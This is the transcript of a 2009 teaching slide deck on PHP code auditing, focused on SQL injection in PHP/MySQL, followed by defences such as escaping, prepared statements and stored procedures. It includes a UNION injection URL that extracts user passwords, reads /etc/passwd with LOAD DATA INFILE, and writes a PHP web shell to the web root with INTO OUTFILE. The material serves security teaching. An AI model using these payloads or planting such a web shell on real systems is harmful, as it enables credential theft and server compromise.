©2009 justin c. klein keane php code auditing session 2 – vulnerabilities, exploits, and some sql...
Post on 20-Jan-2016
219 views
TRANSCRIPT
©2009 Justin C. Klein Keane
PHP Code Auditing
Session 2 – Vulnerabilities, Exploits, and Some SQL
Justin C. Klein [email protected]
©2009 Justin C. Klein Keane
Definitions
What is a vulnerability? What is an exploit? What is a threat? What is a vector?
©2009 Justin C. Klein Keane
Vulnerability Assessment
Assessments can vary in depth Surface assessments Full code audits
What are you looking for? A vulnerability is not necessarily a design
flaw.
©2009 Justin C. Klein Keane
Understanding Threats
Threat modeling is an important process Not necessarily germane to vulnerability
assessment Threat modeling deals with the “what” and
the “why” of security, vulnerability assessment deals with the “how”
©2009 Justin C. Klein Keane
Exploits
In the “gray hat” context, exploits are synonymous with proof of concept
Why develop proof of concept? Helps to gage vulnerability severity Test ease of exploitability Helps model impact to develop remediation and
reaction strategies
©2009 Justin C. Klein Keane
Essential Tools
IDE (Eclipse) for viewing source code Paros proxy for capturing interactions
http://www.parosproxy.org Firefox Tamper Data plugin for on the fly data
manipulation https://addons.mozilla.org/en-US/firefox/addon/966
Firefox Web Developer plugin for presentation manipulation https://addons.mozilla.org/en-US/firefox/addon/60
©2009 Justin C. Klein Keane
PHP & MySQL
PHP interacts with MySQL by setting up a connection resource then passing queries through
<?php
$conn = mysql_connect($server,$username,$password);mysql_select_db($database);$query_resource = mysql_query($sql_statement);while ($row = mysql_fetch_row($query_resource)) {echo $row[0];echo $row[1];}msyql_close();?>
©2009 Justin C. Klein Keane
Connection Information
Often times connection details are stored in include files
Connection credentials (username, password, database) must be stored in an Apache readable format This generally means they're in plain text on the
file server
©2009 Justin C. Klein Keane
Spot the Denial of Service?
<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
[rest of the page]
mysql_close($link);
?>
©2009 Justin C. Klein Keane
SQL Injection
Vulnerability whereby an attacker can manipulate a SQL query string
©2009 Justin C. Klein Keane
Typical SQL Injection Vulnerability
<?php
$id = $_GET['id'];$sql = 'select * from table where id=' . $id;?> This is supposed to result in a SQL
statement like:
select * from table where id=5
©2009 Justin C. Klein Keane
Manipulating the query
What happens if an attacker calls the URL
http://site.tld/index.php?id=5 union select username,password from user
The resulting query becomes:
select * from table where id=5 union select * from user
©2009 Justin C. Klein Keane
User Supplied Input
ANY user supplied input can be used to trigger a SQL injection
GET, POST, HTTP_REFERER, COOKIE, RSS input, etc.
Just because it's not easy for a user to manipulate the supplied input does not mean it is safe!
©2009 Justin C. Klein Keane
PHP Register Globals
Setting controlled in /etc/php.ini
http://us3.php.net/manual/en/ini.core.php#ini.register-globals
Should become extinct very soon Allows all variables to be referred to without context
Makes $_GET['id'] the same as $id Default behavior in PHP 3, many legacy
applications require it Should be set to off!
©2009 Justin C. Klein Keane
Dangers of Register Globals
Variable collision Can allow malicious users to arbitrarily set or
reset critical variables $_SERVER['DOCUMENT_ROOT']
Encourages haphazard coding Leads to confusion when reading/reviewing
code
©2009 Justin C. Klein Keane
Back to SQL Injection
SQL queries operate with the privileges of the user account specified in the mysql_connect() function.
©2009 Justin C. Klein Keane
Some SQL Injection Strategies
JOIN or UNION with other data Expose sensitive data Inject malicious data Alter database content Read or write operating system files Manipulate or expose MySQL system files
©2009 Justin C. Klein Keane
PHP and MySQL Quirks
In PHP and MySQL you cannot “stack” queries
This means attackers only get one SQL statement to work with
This makes exploiting PHP/MySQL SQL injection a lot trickier than with other systems
Unfortunately automated tools make this a much lower bar than it used to be
©2009 Justin C. Klein Keane
Sample DB Target
Example tables:
mysql> desc content;
+-------+---------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+-------+---------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment | | data | text | YES | | NULL | | +-------+---------+------+-----+---------+----------------+2 rows in set (0.02 sec)
mysql> desc users;+----------+-------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------+-------------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(30) | YES | | NULL | | | password | varchar(30) | YES | | NULL | | +----------+-------------+------+-----+---------+----------------+3 rows in set (0.00 sec)
©2009 Justin C. Klein Keane
JOIN Data
Joins must have a mapping valuemysql> select * from content STRAIGHT_JOIN users on content.id=users.id;
+----+------+----+----------+-----------+
| id | data | id | username | password |
+----+------+----+----------+-----------+
| 1 | foo | 1 | joe | p455w0rd! |
+----+------+----+----------+-----------+
1 row in set (0.03 sec)
LEFT JOIN, RIGHT JOIN, INNER JOIN, LEFT OUTER JOIN, STRAIGHT_JOIN
©2009 Justin C. Klein Keane
UNION data
Union must have the same number of columns
mysql> select * from content where id=1 union select username,password from users where id=1;
+------+-----------+
| id | data |
+------+-----------+
| 1 | foo |
| joe | p455w0rd! |
+------+-----------+
2 rows in set (0.03 sec)
©2009 Justin C. Klein Keane
PHP/MySQL Injection
Injection attacks are largely dependent on the static portions of the query being manipulated:
select * from user where user_id = $id
update user setusername='$name',password=md5($password) where id = $id
©2009 Justin C. Klein Keane
Compound Queries
Although you can't “stack” queries in PHP/MySQL, you can issue compound queries
Some queries restrict what you can do You can't alter the SQL prior to the injection
point You can comment out SQL after the injection
point
©2009 Justin C. Klein Keane
INFILE and OUTFILE
Special that are usually only associated with privileged accounts
Can read/write to the OS with the privileges of the MySQL server
©2009 Justin C. Klein Keane
INFILE Example
mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE content (data);
Query OK, 35 rows affected (0.00 sec)
Records: 35 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from content;
+----+------------------------------------------------------------------------------+
| id | data |
+----+------------------------------------------------------------------------------+
| 1 | foo |
| 45 | mail:x:8:12:mail:/var/spool/mail:/bin/sh |
| 44 | halt:x:7:0:halt:/sbin:/sbin/halt |
| 43 | shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown |
[...]
| 71 | named:x:80:423:system user for bind:/var/lib/named:/bin/false |
+----+------------------------------------------------------------------------------+
36 rows in set (0.00 sec)
©2009 Justin C. Klein Keane
OUTFILE
Can be useful when query doesn't return data directly
Can be used to write data to a web accessible location
Can be used to write files that can later be read with INFILE injections
Cannot be used to alter an existing file
©2009 Justin C. Klein Keane
OUTFILE Nastiness
[jukeane@topsail ~]$ ls -latdr /var/www/html
drwxrwsrwx 36 apache jukeane 4096 2009-06-04 08:30 /var/www/html/
[jukeane@topsail ~]$ mysql -u root -p p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
mysql> select * from content into outfile '/var/www/html/passwd.txt';
Query OK, 36 rows affected (0.00 sec)
mysql> select '<?php echo system($_GET[\'cmd\']);?>' from dual into outfile '/var/www/html/backdoor.php';
Query OK, 1 row affected (0.00 sec)
mysql> exit
Bye
©2009 Justin C. Klein Keane
OUTFILE Nastiness Cont.
[jukeane@topsail ~]$ cat /var/www/html/backdoor.php
<?php echo system($_GET['cmd']);?>
[jukeane@topsail ~]$ cat /var/www/html/passwd.txt
1 foo
45 mail:x:8:12:mail:/var/spool/mail:/bin/sh
44 halt:x:7:0:halt:/sbin:/sbin/halt
©2009 Justin C. Klein Keane
Information Schema
Information Schema is a view to database metadata
Can be used to enumerate database data such as table names, column names and column types
Only information for which the user has privileges can be accessed
©2009 Justin C. Klein Keane
Information Schema Example
mysql> select table_schema, table_name from information_schema.tables;+--------------------+---------------------------------------+| table_schema | table_name |+--------------------+---------------------------------------+| test_data | blog | | test_data | user | | test_data | test | | test_data | content | +--------------------+---------------------------------------+
©2009 Justin C. Klein Keane
Blind SQL Injection
Term of art used to describe SQL injection vulnerabilities that when exploited do not provide directly visible results to the attacker
May simply result in an error Could result in an update that may not be
apparent Could result in a timing condition etc.
©2009 Justin C. Klein Keane
Preventing SQL Injection
PHP/MySQL has many strategies for preventing SQL injection attacks
ALWAYS validate user supplied data We'll see this theme recurring a lot
Create accounts with least privilege necessary to carry out application functionality
Limit application to one database, and limit database data to one application!
©2009 Justin C. Klein Keane
PHP Built In Functionality
PHP mysql_real_escape_string() http://us2.php.net/
mysql_real_escape_string Sanitizes variables for use in a query$username = mysql_real_escape_string($_POST['username']);$query = mysql_query(“update user set username = '$username'”); Enforce variable type:$query = mysql_query('select * from content where id=' . intval($_GET['id']); addslashes() is not and effective way to
protect against SQL injection
©2009 Justin C. Klein Keane
Libraries
PEAR MDB2 http://pear.php.net/package/MDB2
ADOdb http://adodb.sourceforge.net/
Project specific libraries If not used properly libraries can become
vulnerable to SQL injection
©2009 Justin C. Klein Keane
Prepared Statements (Bind Variables)
MySQLi (MySQL improved) connection http://us.php.net/mysqli
$conn = new mysqli("localhost", "user", "pass", "database");$statement = $db_connection->prepare("SELECT * FROM content
WHERE id = ?");$statement->bind_param("i", $id);$statement->execute();
©2009 Justin C. Klein Keane
Stored Procedures
mysql> DELIMITER //
mysql> create procedure ret_content (
-> IN inid INT, OUT outdata varchar(255)
-> )
-> BEGIN
-> select data into outdata from content where id = inid;
-> END;//
Query OK, 0 rows affected (0.00 sec)
©2009 Justin C. Klein Keane
Stored Procedures from PHP
<?php
$Conn = mysql_connect('localhost', 'user', 'pass');mysql_select_db('db');mysql_query("call ret_content(1,@retval)") ;$retval = mysql_query("select @retval");while ($row = mysql_fetch_row($retval)) echo $row[0];mysql_close(); ?>
This is by far one of the safest approaches!
©2009 Justin C. Klein Keane
For Next Time
1) Install Paros Proxy
2) Install Firefox and the Tamper Data and Web Developer plug ins
3) Download and install the sample SQL injection application on your VM
4) Identify at least 4 SQL injection vulnerabilities
5) Develop exploits for each vulnerability
6) Develop fixes for each vulnerability